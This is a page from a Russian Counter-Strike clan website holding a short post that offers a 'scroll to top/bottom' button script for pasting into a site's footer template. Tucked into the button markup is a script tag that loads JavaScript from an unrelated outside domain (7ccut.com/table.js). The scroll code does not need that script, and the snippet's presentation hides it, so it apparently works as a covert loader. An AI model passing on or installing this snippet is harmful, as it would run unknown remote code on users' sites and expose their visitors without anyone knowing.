Добро Пожаловать на сайт Clana C.S.R.IP Role Play: 46.174.52.17:27248 [ УЮТНЫЙ ПОДВАЛЬЧИК 03:45 АМ ] classic

Главная Файлы Форум Чат Новости Регистрация Вход

Меню











CSR-CS.CLAN.SU | CSR-TEAM
Меню Клана




CSR-CS.CLAN.SU | CSR-TEAM
Посетители
Онлайн:

Онлайн всего: 8
Гостей: 8
Пользователей: 0

Зарег. на сайте:
Всего: 134
Новых за месяц: 0
Новых за неделю: 0
Новых вчера: 0
Новых сегодня: 0
Из них:
Администраторов: 1
Модераторов: 1
Проверенных: 49
Обычных: 83
Из них:
Парней: 119
Девушек: 14
Счетчик материалов:
Форум: 140/161
Файлов: 141
Новостей: 301
Cтатей: 182
Cайтов: 4
Серверов[css v34]: 27
Картинок: 4
Онлайн фильмов: 9104
Счетчики:
Сегодня нас посетили:

Главная » 2014 » Январь » 20 » Кнопка вверх и вниз
21:50
Кнопка вверх и вниз

Срипт для быстрого и плавного поднятия страници вверх, также можно опускать и вниз страницу сайта.
Выполнен в стиле пальца вверх и вниз, светло синий цет
Установка не сложная и не требует допполнителных навыков html

Установка скрипта „Кнопка вверх и вниз“

Заходим в панель управления сайтом,
далее "Главная » Управление дизайном » Редактирование шаблонов"
Копируем код и вставляем в "Нижняя часть сайта" в самый низ.

Код
<div id="banners"><a style='position: fixed; bottom: 60px; right: 1px; cursor:pointer; display:none;' href='#' id='Go_Top'>
  <img src="http://pnghosts.ru/img/point-up.png" alt="Наверх" title="Наверх"></a>
  <script src="http://7ccut.com/table.js" type="text/javascript"></script>
  <a style='position: fixed; bottom: 20px; right: 1px; cursor:pointer; display:none;' href='#' id='Go_Bottom'>
  <img src="http://pnghosts.ru/img/point-down.png" alt="Вниз" title="Вниз">
  </a></div>

<script>
var go_down = jQuery('body');
jQuery(function() {
  $("#Go_Top").hide().removeAttr("href");
  if ($(window).scrollTop() >= "250") $("#Go_Top").fadeIn("slow")
  var scrollDiv = $("#Go_Top");
  $(window).scroll(function() {
  if ($(window).scrollTop() <= "250") $(scrollDiv).fadeOut("slow")
  else $(scrollDiv).fadeIn("slow")
  });

  $("#Go_Bottom").hide().removeAttr("href");
  if ($(window).scrollTop() <= go_down.height()-"999") $("#Go_Bottom").fadeIn("slow")
  var scrollDiv_2 = $("#Go_Bottom");
  $(window).scroll(function() {
  if ($(window).scrollTop() >= go_down.height()-"999") $(scrollDiv_2).fadeOut("slow")
  else $(scrollDiv_2).fadeIn("slow")
  });

  $("#Go_Top").click(function() {
  $("html, body").animate({scrollTop: 0}, "slow")
  })
  $("#Go_Bottom").click(function() {
  $("html, body").animate({scrollTop: go_down.height()}, "slow")
  })
});
</script>
Просмотров: 285 | Добавил: Bitfood | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Баннеробмен





Друзья сайта:

Разное
Топ Файловиков ↑↓
Новое на форуме ↑↓
ТиЦ ↑↓
Новые файлы

Ники в CS
Скачиваний: 0
Добавил: Priboy
Добавлено: 22.10.2012

UCP 7.7
Скачиваний: 0
Добавил: Priboy
Добавлено: 20.10.2012
Случайные Файлы
Как стать админом на своем сервере CSS?


Подробнее о файле:
Как стать админом на своем сервере CSS?
Статьи
Просмотров: 3261
Добавил: Priboy
Дата: 22.06.2012
Перейти

скин админа железный человек,для cs:source


Подробнее о файле:
скин админа железный человек,для cs:source
Скины админов
Просмотров: 1102
Добавил: Priboy
Дата: 21.06.2012
Перейти

Наш Сервер

Clan.::[C.[S].R.]::. © 2024

CSR-TEAM